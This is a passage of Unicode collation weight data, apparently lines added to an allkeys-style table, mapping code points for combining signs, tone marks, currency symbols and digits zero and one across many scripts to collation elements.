+093C  ; [.0000.00C2.0002] # DEVANAGARI SIGN NUKTA
+09BC  ; [.0000.00C2.0002] # BENGALI SIGN NUKTA
+0A3C  ; [.0000.00C2.0002] # GURMUKHI SIGN NUKTA
+0ABC  ; [.0000.00C2.0002] # GUJARATI SIGN NUKTA
+0B3C  ; [.0000.00C2.0002] # ORIYA SIGN NUKTA
+0CBC  ; [.0000.00C2.0002] # KANNADA SIGN NUKTA
+1B34  ; [.0000.00C2.0002] # BALINESE SIGN REREKAN
+1BE6  ; [.0000.00C2.0002] # BATAK SIGN TOMPI
+1C37  ; [.0000.00C2.0002] # LEPCHA SIGN NUKTA
+A9B3  ; [.0000.00C2.0002] # JAVANESE SIGN CECAK TELU
+110BA ; [.0000.00C2.0002] # KAITHI SIGN NUKTA
+11173 ; [.0000.00C2.0002] # MAHAJANI SIGN NUKTA
+111CA ; [.0000.00C2.0002] # SHARADA SIGN NUKTA
+11236 ; [.0000.00C2.0002] # KHOJKI SIGN NUKTA
+112E9 ; [.0000.00C2.0002] # KHUDAWADI SIGN NUKTA
+1133C ; [.0000.00C2.0002] # GRANTHA SIGN NUKTA
+11446 ; [.0000.00C2.0002] # NEWA SIGN NUKTA
+114C3 ; [.0000.00C2.0002] # TIRHUTA SIGN NUKTA
+115C0 ; [.0000.00C2.0002] # SIDDHAM SIGN NUKTA
+116B7 ; [.0000.00C2.0002] # TAKRI SIGN NUKTA
+0900  ; [.0000.00C3.0002] # DEVANAGARI SIGN INVERTED CANDRABINDU
+0901  ; [.0000.00C3.0002] # DEVANAGARI SIGN CANDRABINDU
+0981  ; [.0000.00C3.0002] # BENGALI SIGN CANDRABINDU
+0A01  ; [.0000.00C3.0002] # GURMUKHI SIGN ADAK BINDI
+0A81  ; [.0000.00C3.0002] # GUJARATI SIGN CANDRABINDU
+0B01  ; [.0000.00C3.0002] # ORIYA SIGN CANDRABINDU
+0C00  ; [.0000.00C3.0002] # TELUGU SIGN COMBINING CANDRABINDU ABOVE
+0C01  ; [.0000.00C3.0002] # TELUGU SIGN CANDRABINDU
+0C81  ; [.0000.00C3.0002] # KANNADA SIGN CANDRABINDU
+0D01  ; [.0000.00C3.0002] # MALAYALAM SIGN CANDRABINDU
+1B00  ; [.0000.00C3.0002] # BALINESE SIGN ULU RICEM
+1B01  ; [.0000.00C3.0002] # BALINESE SIGN ULU CANDRA
+A8C5  ; [.0000.00C3.0002] # SAURASHTRA SIGN CANDRABINDU
+A980  ; [.0000.00C3.0002] # JAVANESE SIGN PANYANGGA
+11000 ; [.0000.00C3.0002] # BRAHMI SIGN CANDRABINDU
+11080 ; [.0000.00C3.0002] # KAITHI SIGN CANDRABINDU
+11100 ; [.0000.00C3.0002] # CHAKMA SIGN CANDRABINDU
+11180 ; [.0000.00C3.0002] # SHARADA SIGN CANDRABINDU
+11301 ; [.0000.00C3.0002] # GRANTHA SIGN CANDRABINDU
+11443 ; [.0000.00C3.0002] # NEWA SIGN CANDRABINDU
+114BF ; [.0000.00C3.0002] # TIRHUTA SIGN CANDRABINDU
+115BC ; [.0000.00C3.0002] # SIDDHAM SIGN CANDRABINDU
+11640 ; [.0000.00C3.0002] # MODI SIGN ARDHACANDRA
+11C3C ; [.0000.00C3.0002] # BHAIKSUKI SIGN CANDRABINDU
+11CB6 ; [.0000.00C3.0002] # MARCHEN SIGN CANDRABINDU
+0902  ; [.0000.00C4.0002] # DEVANAGARI SIGN ANUSVARA
+0982  ; [.0000.00C4.0002] # BENGALI SIGN ANUSVARA
+0A02  ; [.0000.00C4.0002] # GURMUKHI SIGN BINDI
+0A82  ; [.0000.00C4.0002] # GUJARATI SIGN ANUSVARA
+0B02  ; [.0000.00C4.0002] # ORIYA SIGN ANUSVARA
+0B82  ; [.0000.00C4.0002] # TAMIL SIGN ANUSVARA
+0C02  ; [.0000.00C4.0002] # TELUGU SIGN ANUSVARA
+0C82  ; [.0000.00C4.0002] # KANNADA SIGN ANUSVARA
+0D02  ; [.0000.00C4.0002] # MALAYALAM SIGN ANUSVARA
+0D82  ; [.0000.00C4.0002] # SINHALA SIGN ANUSVARAYA
+0F7E  ; [.0000.00C4.0002] # TIBETAN SIGN RJES SU NGA RO
+1036  ; [.0000.00C4.0002] # MYANMAR SIGN ANUSVARA
+17C6  ; [.0000.00C4.0002] # KHMER SIGN NIKAHIT
+1A74  ; [.0000.00C4.0002] # TAI THAM SIGN MAI KANG
+1B02  ; [.0000.00C4.0002] # BALINESE SIGN CECEK
+1B80  ; [.0000.00C4.0002] # SUNDANESE SIGN PANYECEK
+1CED  ; [.0000.00C4.0002] # VEDIC SIGN TIRYAK
+A80B  ; [.0000.00C4.0002] # SYLOTI NAGRI SIGN ANUSVARA
+A880  ; [.0000.00C4.0002] # SAURASHTRA SIGN ANUSVARA
+A981  ; [.0000.00C4.0002] # JAVANESE SIGN CECAK
+10A0E ; [.0000.00C4.0002] # KHAROSHTHI SIGN ANUSVARA
+11001 ; [.0000.00C4.0002] # BRAHMI SIGN ANUSVARA
+11081 ; [.0000.00C4.0002] # KAITHI SIGN ANUSVARA
+11101 ; [.0000.00C4.0002] # CHAKMA SIGN ANUSVARA
+11181 ; [.0000.00C4.0002] # SHARADA SIGN ANUSVARA
+11234 ; [.0000.00C4.0002] # KHOJKI SIGN ANUSVARA
+112DF ; [.0000.00C4.0002] # KHUDAWADI SIGN ANUSVARA
+11300 ; [.0000.00C4.0002] # GRANTHA SIGN COMBINING ANUSVARA ABOVE
+11302 ; [.0000.00C4.0002] # GRANTHA SIGN ANUSVARA
+11444 ; [.0000.00C4.0002] # NEWA SIGN ANUSVARA
+114C0 ; [.0000.00C4.0002] # TIRHUTA SIGN ANUSVARA
+115BD ; [.0000.00C4.0002] # SIDDHAM SIGN ANUSVARA
+1163D ; [.0000.00C4.0002] # MODI SIGN ANUSVARA
+116AB ; [.0000.00C4.0002] # TAKRI SIGN ANUSVARA
+11C3D ; [.0000.00C4.0002] # BHAIKSUKI SIGN ANUSVARA
+11CB5 ; [.0000.00C4.0002] # MARCHEN SIGN ANUSVARA
+0903  ; [.0000.00C5.0002] # DEVANAGARI SIGN VISARGA
+0983  ; [.0000.00C5.0002] # BENGALI SIGN VISARGA
+0A03  ; [.0000.00C5.0002] # GURMUKHI SIGN VISARGA
+0A83  ; [.0000.00C5.0002] # GUJARATI SIGN VISARGA
+0B03  ; [.0000.00C5.0002] # ORIYA SIGN VISARGA
+0C03  ; [.0000.00C5.0002] # TELUGU SIGN VISARGA
+0C83  ; [.0000.00C5.0002] # KANNADA SIGN VISARGA
+0D03  ; [.0000.00C5.0002] # MALAYALAM SIGN VISARGA
+0D83  ; [.0000.00C5.0002] # SINHALA SIGN VISARGAYA
+0F7F  ; [.0000.00C5.0002] # TIBETAN SIGN RNAM BCAD
+1038  ; [.0000.00C5.0002] # MYANMAR SIGN VISARGA
+17C7  ; [.0000.00C5.0002] # KHMER SIGN REAHMUK
+1B04  ; [.0000.00C5.0002] # BALINESE SIGN BISAH
+1B82  ; [.0000.00C5.0002] # SUNDANESE SIGN PANGWISAD
+1CF2  ; [.0000.00C5.0002] # VEDIC SIGN ARDHAVISARGA
+1CF3  ; [.0000.00C5.0002] # VEDIC SIGN ROTATED ARDHAVISARGA
+A881  ; [.0000.00C5.0002] # SAURASHTRA SIGN VISARGA
+A983  ; [.0000.00C5.0002] # JAVANESE SIGN WIGNYAN
+10A0F ; [.0000.00C5.0002] # KHAROSHTHI SIGN VISARGA
+11002 ; [.0000.00C5.0002] # BRAHMI SIGN VISARGA
+11082 ; [.0000.00C5.0002] # KAITHI SIGN VISARGA
+11102 ; [.0000.00C5.0002] # CHAKMA SIGN VISARGA
+11182 ; [.0000.00C5.0002] # SHARADA SIGN VISARGA
+11303 ; [.0000.00C5.0002] # GRANTHA SIGN VISARGA
+11445 ; [.0000.00C5.0002] # NEWA SIGN VISARGA
+114C1 ; [.0000.00C5.0002] # TIRHUTA SIGN VISARGA
+115BE ; [.0000.00C5.0002] # SIDDHAM SIGN VISARGA
+1163E ; [.0000.00C5.0002] # MODI SIGN VISARGA
+116AC ; [.0000.00C5.0002] # TAKRI SIGN VISARGA
+11C3E ; [.0000.00C5.0002] # BHAIKSUKI SIGN VISARGA
+0A70  ; [.0000.00C6.0002] # GURMUKHI TIPPI
+0A71  ; [.0000.00C7.0002] # GURMUKHI ADDAK
+1B03  ; [.0000.00C8.0002] # BALINESE SIGN SURANG
+A982  ; [.0000.00C9.0002] # JAVANESE SIGN LAYAR
+1B81  ; [.0000.00CA.0002] # SUNDANESE SIGN PANGLAYAR
+ABEC  ; [.0000.00CB.0002] # MEETEI MAYEK LUM IYEK
+10A38 ; [.0000.00CC.0002] # KHAROSHTHI SIGN BAR ABOVE
+10A39 ; [.0000.00CD.0002] # KHAROSHTHI SIGN CAUDA
+10A3A ; [.0000.00CE.0002] # KHAROSHTHI SIGN DOT BELOW
+111CB ; [.0000.00CF.0002] # SHARADA VOWEL MODIFIER MARK
+111CC ; [.0000.00D0.0002] # SHARADA EXTRA SHORT VOWEL MARK
+0E4E  ; [.0000.00D1.0002] # THAI CHARACTER YAMAKKAN
+0E47  ; [.0000.00D2.0002] # THAI CHARACTER MAITAIKHU
+0E48  ; [.0000.00D3.0002] # THAI CHARACTER MAI EK
+0E49  ; [.0000.00D4.0002] # THAI CHARACTER MAI THO
+0E4A  ; [.0000.00D5.0002] # THAI CHARACTER MAI TRI
+0E4B  ; [.0000.00D6.0002] # THAI CHARACTER MAI CHATTAWA
+0E4C  ; [.0000.00D7.0002] # THAI CHARACTER THANTHAKHAT
+0E4D  ; [.0000.00D8.0002] # THAI CHARACTER NIKHAHIT
+0EC8  ; [.0000.00D9.0002] # LAO TONE MAI EK
+0EC9  ; [.0000.00DA.0002] # LAO TONE MAI THO
+0ECA  ; [.0000.00DB.0002] # LAO TONE MAI TI
+0ECB  ; [.0000.00DC.0002] # LAO TONE MAI CATAWA
+0ECC  ; [.0000.00DD.0002] # LAO CANCELLATION MARK
+0ECD  ; [.0000.00DE.0002] # LAO NIGGAHITA
+AABF  ; [.0000.00DF.0002] # TAI VIET TONE MAI EK
+AAC1  ; [.0000.00E0.0002] # TAI VIET TONE MAI THO
+0F39  ; [.0000.00E1.0002] # TIBETAN MARK TSA -PHRU
+A92B  ; [.0000.00E2.0002] # KAYAH LI TONE PLOPHU
+A92C  ; [.0000.00E3.0002] # KAYAH LI TONE CALYA
+A92D  ; [.0000.00E4.0002] # KAYAH LI TONE CALYA PLOPHU
+1037  ; [.0000.00E5.0002] # MYANMAR SIGN DOT BELOW
+17C8  ; [.0000.00E6.0002] # KHMER SIGN YUUKALEAPINTU
+17C9  ; [.0000.00E7.0002] # KHMER SIGN MUUSIKATOAN
+17CA  ; [.0000.00E8.0002] # KHMER SIGN TRIISAP
+1A75  ; [.0000.00E9.0002] # TAI THAM SIGN TONE-1
+1A76  ; [.0000.00EA.0002] # TAI THAM SIGN TONE-2
+1A77  ; [.0000.00EB.0002] # TAI THAM SIGN KHUEN TONE-3
+1A78  ; [.0000.00EC.0002] # TAI THAM SIGN KHUEN TONE-4
+1A79  ; [.0000.00ED.0002] # TAI THAM SIGN KHUEN TONE-5
+1A7A  ; [.0000.00EE.0002] # TAI THAM SIGN RA HAAM
+1A7B  ; [.0000.00EF.0002] # TAI THAM SIGN MAI SAM
+1A7C  ; [.0000.00F0.0002] # TAI THAM SIGN KHUEN-LUE KARAN
+1939  ; [.0000.00F1.0002] # LIMBU SIGN MUKPHRENG
+193A  ; [.0000.00F2.0002] # LIMBU SIGN KEMPHRENG
+193B  ; [.0000.00F3.0002] # LIMBU SIGN SA-I
+16B30 ; [.0000.00F4.0002] # PAHAWH HMONG MARK CIM TUB
+16B31 ; [.0000.00F5.0002] # PAHAWH HMONG MARK CIM SO
+16B32 ; [.0000.00F6.0002] # PAHAWH HMONG MARK CIM KES
+16B33 ; [.0000.00F7.0002] # PAHAWH HMONG MARK CIM KHAV
+16B34 ; [.0000.00F8.0002] # PAHAWH HMONG MARK CIM SUAM
+16B35 ; [.0000.00F9.0002] # PAHAWH HMONG MARK CIM HOM
+16B36 ; [.0000.00FA.0002] # PAHAWH HMONG MARK CIM TAUM
+302A  ; [.0000.00FB.0002] # IDEOGRAPHIC LEVEL TONE MARK
+302B  ; [.0000.00FC.0002] # IDEOGRAPHIC RISING TONE MARK
+302C  ; [.0000.00FD.0002] # IDEOGRAPHIC DEPARTING TONE MARK
+302D  ; [.0000.00FE.0002] # IDEOGRAPHIC ENTERING TONE MARK
+302E  ; [.0000.00FF.0002] # HANGUL SINGLE DOT TONE MARK
+302F  ; [.0000.0100.0002] # HANGUL DOUBLE DOT TONE MARK
+20D0  ; [.0000.0101.0002] # COMBINING LEFT HARPOON ABOVE
+20D1  ; [.0000.0102.0002] # COMBINING RIGHT HARPOON ABOVE
+20D2  ; [.0000.0103.0002] # COMBINING LONG VERTICAL LINE OVERLAY
+20D3  ; [.0000.0103.0002] # COMBINING SHORT VERTICAL LINE OVERLAY
+20D4  ; [.0000.0104.0002] # COMBINING ANTICLOCKWISE ARROW ABOVE
+20D5  ; [.0000.0105.0002] # COMBINING CLOCKWISE ARROW ABOVE
+20D6  ; [.0000.0106.0002] # COMBINING LEFT ARROW ABOVE
+20D7  ; [.0000.0107.0002] # COMBINING RIGHT ARROW ABOVE
+20DB  ; [.0000.0108.0002] # COMBINING THREE DOTS ABOVE
+20DC  ; [.0000.0109.0002] # COMBINING FOUR DOTS ABOVE
+20E1  ; [.0000.010A.0002] # COMBINING LEFT RIGHT ARROW ABOVE
+20E6  ; [.0000.010B.0002] # COMBINING DOUBLE VERTICAL STROKE OVERLAY
+20E7  ; [.0000.010C.0002] # COMBINING ANNUITY SYMBOL
+20E8  ; [.0000.010D.0002] # COMBINING TRIPLE UNDERDOT
+20E9  ; [.0000.010E.0002] # COMBINING WIDE BRIDGE ABOVE
+101FD ; [.0000.010F.0002] # PHAISTOS DISC SIGN COMBINING OBLIQUE STROKE
+02D0  ; [.1BF8.0020.0002] # MODIFIER LETTER TRIANGULAR COLON
+02D1  ; [.1BF9.0020.0002] # MODIFIER LETTER HALF TRIANGULAR COLON
+0971  ; [.1BFA.0020.0002] # DEVANAGARI SIGN HIGH SPACING DOT
+0E46  ; [.1BFB.0020.0002] # THAI CHARACTER MAIYAMOK
+0EC6  ; [.1BFC.0020.0002] # LAO KO LA
+17D7  ; [.1BFD.0020.0002] # KHMER SIGN LEK TOO
+1AA7  ; [.1BFE.0020.0002] # TAI THAM SIGN MAI YAMOK
+A9CF  ; [.1BFF.0020.0002] # JAVANESE PANGRANGKEP
+A9E6  ; [.1C00.0020.0002] # MYANMAR MODIFIER LETTER SHAN REDUPLICATION
+AA70  ; [.1C01.0020.0002] # MYANMAR MODIFIER LETTER KHAMTI REDUPLICATION
+AADD  ; [.1C02.0020.0002] # TAI VIET SYMBOL SAM
+AAF3  ; [.1C03.0020.0002] # MEETEI MAYEK SYLLABLE REPETITION MARK
+AAF4  ; [.1C04.0020.0002] # MEETEI MAYEK WORD REPETITION MARK
+16B42 ; [.1C05.0020.0002] # PAHAWH HMONG SIGN VOS NRUA
+16B43 ; [.1C06.0020.0002] # PAHAWH HMONG SIGN IB YAM
+3005  ; [.1C07.0020.0002] # IDEOGRAPHIC ITERATION MARK
+303B  ; [.1C08.0020.0002] # VERTICAL IDEOGRAPHIC ITERATION MARK
+16FE0 ; [.1C09.0020.0002] # TANGUT ITERATION MARK
+3031  ; [.1C0A.0020.0002] # VERTICAL KANA REPEAT MARK
+3032  ; [.1C0A.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK
+3033  ; [.1C0B.0020.0002] # VERTICAL KANA REPEAT MARK UPPER HALF
+3034  ; [.1C0B.0020.0002][.0000.0037.0002] # VERTICAL KANA REPEAT WITH VOICED SOUND MARK UPPER HALF
+3035  ; [.1C0C.0020.0002] # VERTICAL KANA REPEAT MARK LOWER HALF
+309D  ; [.1C0D.0020.0002] # HIRAGANA ITERATION MARK
+309E  ; [.1C0D.0020.0002][.0000.0037.0002] # HIRAGANA VOICED ITERATION MARK
+30FC  ; [.1C0E.0020.0002] # KATAKANA-HIRAGANA PROLONGED SOUND MARK
+FF70  ; [.1C0E.0020.0012] # HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK
+30FD  ; [.1C0F.0020.0002] # KATAKANA ITERATION MARK
+30FE  ; [.1C0F.0020.0002][.0000.0037.0002] # KATAKANA VOICED ITERATION MARK
+00A4  ; [.1C10.0020.0002] # CURRENCY SIGN
+00A2  ; [.1C11.0020.0002] # CENT SIGN
+FFE0  ; [.1C11.0020.0003] # FULLWIDTH CENT SIGN
+0024  ; [.1C12.0020.0002] # DOLLAR SIGN
+FF04  ; [.1C12.0020.0003] # FULLWIDTH DOLLAR SIGN
+FE69  ; [.1C12.0020.000F] # SMALL DOLLAR SIGN
+00A3  ; [.1C13.0020.0002] # POUND SIGN
+FFE1  ; [.1C13.0020.0003] # FULLWIDTH POUND SIGN
+00A5  ; [.1C14.0020.0002] # YEN SIGN
+FFE5  ; [.1C14.0020.0003] # FULLWIDTH YEN SIGN
+058F  ; [.1C15.0020.0002] # ARMENIAN DRAM SIGN
+060B  ; [.1C16.0020.0002] # AFGHANI SIGN
+09F2  ; [.1C17.0020.0002] # BENGALI RUPEE MARK
+09F3  ; [.1C18.0020.0002] # BENGALI RUPEE SIGN
+09FB  ; [.1C19.0020.0002] # BENGALI GANDA MARK
+0AF1  ; [.1C1A.0020.0002] # GUJARATI RUPEE SIGN
+A838  ; [.1C1B.0020.0002] # NORTH INDIC RUPEE MARK
+0BF9  ; [.1C1C.0020.0002] # TAMIL RUPEE SIGN
+0E3F  ; [.1C1D.0020.0002] # THAI CURRENCY SYMBOL BAHT
+17DB  ; [.1C1E.0020.0002] # KHMER CURRENCY SYMBOL RIEL
+20A0  ; [.1C1F.0020.0002] # EURO-CURRENCY SIGN
+20A1  ; [.1C20.0020.0002] # COLON SIGN
+20A2  ; [.1C21.0020.0002] # CRUZEIRO SIGN
+20A3  ; [.1C22.0020.0002] # FRENCH FRANC SIGN
+20A4  ; [.1C23.0020.0002] # LIRA SIGN
+20A5  ; [.1C24.0020.0002] # MILL SIGN
+20A6  ; [.1C25.0020.0002] # NAIRA SIGN
+20A7  ; [.1C26.0020.0002] # PESETA SIGN
+20A9  ; [.1C27.0020.0002] # WON SIGN
+FFE6  ; [.1C27.0020.0003] # FULLWIDTH WON SIGN
+20AA  ; [.1C28.0020.0002] # NEW SHEQEL SIGN
+20AB  ; [.1C29.0020.0002] # DONG SIGN
+20AC  ; [.1C2A.0020.0002] # EURO SIGN
+20AD  ; [.1C2B.0020.0002] # KIP SIGN
+20AE  ; [.1C2C.0020.0002] # TUGRIK SIGN
+20AF  ; [.1C2D.0020.0002] # DRACHMA SIGN
+20B0  ; [.1C2E.0020.0002] # GERMAN PENNY SIGN
+20B1  ; [.1C2F.0020.0002] # PESO SIGN
+20B2  ; [.1C30.0020.0002] # GUARANI SIGN
+20B3  ; [.1C31.0020.0002] # AUSTRAL SIGN
+20B4  ; [.1C32.0020.0002] # HRYVNIA SIGN
+20B5  ; [.1C33.0020.0002] # CEDI SIGN
+20B6  ; [.1C34.0020.0002] # LIVRE TOURNOIS SIGN
+20B7  ; [.1C35.0020.0002] # SPESMILO SIGN
+20B8  ; [.1C36.0020.0002] # TENGE SIGN
+20B9  ; [.1C37.0020.0002] # INDIAN RUPEE SIGN
+20BA  ; [.1C38.0020.0002] # TURKISH LIRA SIGN
+20BB  ; [.1C39.0020.0002] # NORDIC MARK SIGN
+20BC  ; [.1C3A.0020.0002] # MANAT SIGN
+20BD  ; [.1C3B.0020.0002] # RUBLE SIGN
+20BE  ; [.1C3C.0020.0002] # LARI SIGN
+0030  ; [.1C3D.0020.0002] # DIGIT ZERO
+0660  ; [.1C3D.0020.0002] # ARABIC-INDIC DIGIT ZERO
+06F0  ; [.1C3D.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ZERO
+07C0  ; [.1C3D.0020.0002] # NKO DIGIT ZERO
+0966  ; [.1C3D.0020.0002] # DEVANAGARI DIGIT ZERO
+09E6  ; [.1C3D.0020.0002] # BENGALI DIGIT ZERO
+0A66  ; [.1C3D.0020.0002] # GURMUKHI DIGIT ZERO
+0AE6  ; [.1C3D.0020.0002] # GUJARATI DIGIT ZERO
+0B66  ; [.1C3D.0020.0002] # ORIYA DIGIT ZERO
+0BE6  ; [.1C3D.0020.0002] # TAMIL DIGIT ZERO
+0C66  ; [.1C3D.0020.0002] # TELUGU DIGIT ZERO
+0C78  ; [.1C3D.0020.0002] # TELUGU FRACTION DIGIT ZERO FOR ODD POWERS OF FOUR
+0CE6  ; [.1C3D.0020.0002] # KANNADA DIGIT ZERO
+0D66  ; [.1C3D.0020.0002] # MALAYALAM DIGIT ZERO
+0DE6  ; [.1C3D.0020.0002] # SINHALA LITH DIGIT ZERO
+0E50  ; [.1C3D.0020.0002] # THAI DIGIT ZERO
+0ED0  ; [.1C3D.0020.0002] # LAO DIGIT ZERO
+0F20  ; [.1C3D.0020.0002] # TIBETAN DIGIT ZERO
+1040  ; [.1C3D.0020.0002] # MYANMAR DIGIT ZERO
+1090  ; [.1C3D.0020.0002] # MYANMAR SHAN DIGIT ZERO
+17E0  ; [.1C3D.0020.0002] # KHMER DIGIT ZERO
+17F0  ; [.1C3D.0020.0002] # KHMER SYMBOL LEK ATTAK SON
+1810  ; [.1C3D.0020.0002] # MONGOLIAN DIGIT ZERO
+1946  ; [.1C3D.0020.0002] # LIMBU DIGIT ZERO
+19D0  ; [.1C3D.0020.0002] # NEW TAI LUE DIGIT ZERO
+1A80  ; [.1C3D.0020.0002] # TAI THAM HORA DIGIT ZERO
+1A90  ; [.1C3D.0020.0002] # TAI THAM THAM DIGIT ZERO
+1B50  ; [.1C3D.0020.0002] # BALINESE DIGIT ZERO
+1BB0  ; [.1C3D.0020.0002] # SUNDANESE DIGIT ZERO
+1C40  ; [.1C3D.0020.0002] # LEPCHA DIGIT ZERO
+1C50  ; [.1C3D.0020.0002] # OL CHIKI DIGIT ZERO
+3007  ; [.1C3D.0020.0002] # IDEOGRAPHIC NUMBER ZERO
+A620  ; [.1C3D.0020.0002] # VAI DIGIT ZERO
+A8D0  ; [.1C3D.0020.0002] # SAURASHTRA DIGIT ZERO
+A900  ; [.1C3D.0020.0002] # KAYAH LI DIGIT ZERO
+A9D0  ; [.1C3D.0020.0002] # JAVANESE DIGIT ZERO
+A9F0  ; [.1C3D.0020.0002] # MYANMAR TAI LAING DIGIT ZERO
+AA50  ; [.1C3D.0020.0002] # CHAM DIGIT ZERO
+ABF0  ; [.1C3D.0020.0002] # MEETEI MAYEK DIGIT ZERO
+1018A ; [.1C3D.0020.0002] # GREEK ZERO SIGN
+104A0 ; [.1C3D.0020.0002] # OSMANYA DIGIT ZERO
+11066 ; [.1C3D.0020.0002] # BRAHMI DIGIT ZERO
+110F0 ; [.1C3D.0020.0002] # SORA SOMPENG DIGIT ZERO
+11136 ; [.1C3D.0020.0002] # CHAKMA DIGIT ZERO
+111D0 ; [.1C3D.0020.0002] # SHARADA DIGIT ZERO
+112F0 ; [.1C3D.0020.0002] # KHUDAWADI DIGIT ZERO
+11450 ; [.1C3D.0020.0002] # NEWA DIGIT ZERO
+114D0 ; [.1C3D.0020.0002] # TIRHUTA DIGIT ZERO
+11650 ; [.1C3D.0020.0002] # MODI DIGIT ZERO
+116C0 ; [.1C3D.0020.0002] # TAKRI DIGIT ZERO
+11730 ; [.1C3D.0020.0002] # AHOM DIGIT ZERO
+118E0 ; [.1C3D.0020.0002] # WARANG CITI DIGIT ZERO
+11C50 ; [.1C3D.0020.0002] # BHAIKSUKI DIGIT ZERO
+16A60 ; [.1C3D.0020.0002] # MRO DIGIT ZERO
+16B50 ; [.1C3D.0020.0002] # PAHAWH HMONG DIGIT ZERO
+1E950 ; [.1C3D.0020.0002] # ADLAM DIGIT ZERO
+FF10  ; [.1C3D.0020.0003] # FULLWIDTH DIGIT ZERO
+0F33  ; [.1C3D.0020.0004] # TIBETAN DIGIT HALF ZERO
+1F100 ; [.1C3D.0020.0004][*0277.0020.0004] # DIGIT ZERO FULL STOP
+1F101 ; [.1C3D.0020.0004][*0222.0020.0004] # DIGIT ZERO COMMA
+1D7CE ; [.1C3D.0020.0005] # MATHEMATICAL BOLD DIGIT ZERO
+1D7D8 ; [.1C3D.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT ZERO
+1D7E2 ; [.1C3D.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT ZERO
+1D7EC ; [.1C3D.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT ZERO
+1D7F6 ; [.1C3D.0020.0005] # MATHEMATICAL MONOSPACE DIGIT ZERO
+24EA  ; [.1C3D.0020.0006] # CIRCLED DIGIT ZERO
+24FF  ; [.1C3D.0020.0006] # NEGATIVE CIRCLED DIGIT ZERO
+1F10B ; [.1C3D.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT ZERO
+1F10C ; [.1C3D.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
+2070  ; [.1C3D.0020.0014] # SUPERSCRIPT ZERO
+2080  ; [.1C3D.0020.0015] # SUBSCRIPT ZERO
+2189  ; [.1C3D.0020.001E][*0626.0020.001E][.1C40.0020.001E] # VULGAR FRACTION ZERO THIRDS
+3358  ; [.1C3D.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
+0031  ; [.1C3E.0020.0002] # DIGIT ONE
+0661  ; [.1C3E.0020.0002] # ARABIC-INDIC DIGIT ONE
+06F1  ; [.1C3E.0020.0002] # EXTENDED ARABIC-INDIC DIGIT ONE
+07C1  ; [.1C3E.0020.0002] # NKO DIGIT ONE
+0967  ; [.1C3E.0020.0002] # DEVANAGARI DIGIT ONE
+09E7  ; [.1C3E.0020.0002] # BENGALI DIGIT ONE
+0A67  ; [.1C3E.0020.0002] # GURMUKHI DIGIT ONE
+0AE7  ; [.1C3E.0020.0002] # GUJARATI DIGIT ONE
+0B67  ; [.1C3E.0020.0002] # ORIYA DIGIT ONE
+0BE7  ; [.1C3E.0020.0002] # TAMIL DIGIT ONE
+0C67  ; [.1C3E.0020.0002] # TELUGU DIGIT ONE
+0C79  ; [.1C3E.0020.0002] # TELUGU FRACTION DIGIT ONE FOR ODD POWERS OF FOUR
+0C7C  ; [.1C3E.0020.0002] # TELUGU FRACTION DIGIT ONE FOR EVEN POWERS OF FOUR
+0CE7  ; [.1C3E.0020.0002] # KANNADA DIGIT ONE
+0D67  ; [.1C3E.0020.0002] # MALAYALAM DIGIT ONE
+0DE7  ; [.1C3E.0020.0002] # SINHALA LITH DIGIT ONE
+0E51  ; [.1C3E.0020.0002] # THAI DIGIT ONE
+0ED1  ; [.1C3E.0020.0002] # LAO DIGIT ONE
+0F21  ; [.1C3E.0020.0002] # TIBETAN DIGIT ONE
+1041  ; [.1C3E.0020.0002] # MYANMAR DIGIT ONE
+1091  ; [.1C3E.0020.0002] # MYANMAR SHAN DIGIT ONE
+1369  ; [.1C3E.0020.0002] # ETHIOPIC DIGIT ONE
+17E1  ; [.1C3E.0020.0002] # KHMER DIGIT ONE
+17F1  ; [.1C3E.0020.0002] # KHMER SYMBOL LEK ATTAK MUOY
+1811  ; [.1C3E.0020.0002] # MONGOLIAN DIGIT ONE
+1947  ; [.1C3E.0020.0002] # LIMBU DIGIT ONE
+19D1  ; [.1C3E.0020.0002] # NEW TAI LUE DIGIT ONE
+19DA  ; [.1C3E.0020.0002] # NEW TAI LUE THAM DIGIT ONE
+1A81  ; [.1C3E.0020.0002] # TAI THAM HORA DIGIT ONE
+1A91  ; [.1C3E.0020.0002] # TAI THAM THAM DIGIT ONE
+1B51  ; [.1C3E.0020.0002] # BALINESE DIGIT ONE
+1BB1  ; [.1C3E.0020.0002] # SUNDANESE DIGIT ONE
+1C41  ; [.1C3E.0020.0002] # LEPCHA DIGIT ONE
+1C51  ; [.1C3E.0020.0002] # OL CHIKI DIGIT ONE
+3021  ; [.1C3E.0020.0002] # HANGZHOU NUMERAL ONE
+A621  ; [.1C3E.0020.0002] # VAI DIGIT ONE
+A8D1  ; [.1C3E.0020.0002] # SAURASHTRA DIGIT ONE
+A901  ; [.1C3E.0020.0002] # KAYAH LI DIGIT ONE
+A9D1  ; [.1C3E.0020.0002] # JAVANESE DIGIT ONE
+A9F1  ; [.1C3E.0020.0002] # MYANMAR TAI LAING DIGIT ONE
+AA51  ; [.1C3E.0020.0002] # CHAM DIGIT ONE
+ABF1  ; [.1C3E.0020.0002] # MEETEI MAYEK DIGIT ONE
+10107 ; [.1C3E.0020.0002] # AEGEAN NUMBER ONE
+10142 ; [.1C3E.0020.0002] # GREEK ACROPHONIC ATTIC ONE DRACHMA
+10158 ; [.1C3E.0020.0002] # GREEK ACROPHONIC HERAEUM ONE PLETHRON
+10159 ; [.1C3E.0020.0002] # GREEK ACROPHONIC THESPIAN ONE
+1015A ; [.1C3E.0020.0002] # GREEK ACROPHONIC HERMIONIAN ONE
+102E1 ; [.1C3E.0020.0002] # COPTIC EPACT DIGIT ONE
+10320 ; [.1C3E.0020.0002] # OLD ITALIC NUMERAL ONE
+103D1 ; [.1C3E.0020.0002] # OLD PERSIAN NUMBER ONE
+104A1 ; [.1C3E.0020.0002] # OSMANYA DIGIT ONE
+10858 ; [.1C3E.0020.0002] # IMPERIAL ARAMAIC NUMBER ONE
+10879 ; [.1C3E.0020.0002] # PALMYRENE NUMBER ONE
